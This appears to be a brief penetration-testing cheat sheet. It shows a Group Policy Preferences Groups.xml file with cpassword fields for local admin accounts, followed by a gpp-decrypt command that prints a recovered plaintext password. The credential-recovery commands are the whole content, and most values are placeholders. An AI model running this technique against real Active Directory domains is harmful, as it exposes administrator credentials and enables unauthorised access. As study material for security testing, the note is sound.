Active Directory - GPO

Group Policy

$ cat Groups.xml 
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{BLABLA}"><User clsid="{BLABLA}" name="Helpdesk" image="2" changed="DATE" uid="{UID}"><Properties action="U" newName="" fullName="" description="" cpassword="EncodedPassword" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="Helpdesk"/></User><User clsid="{CLSID}" name="Administrator" image="2" changed="DATE" uid="{UID}" userContext="0" removePolicy="0"><Properties action="U" newName="" fullName="Admin Local" description="" cpassword="CPASSWD" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" subAuthority="" userName="Administrateur"/></User>
</Groups>

$ gpp-decrypt CPASSWD
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
Sup3rSecurePasswd 

Hacking local admin password via Active Directory GPOPentesTools

gpp-decrypt | Kali Linux ToolsKali Linux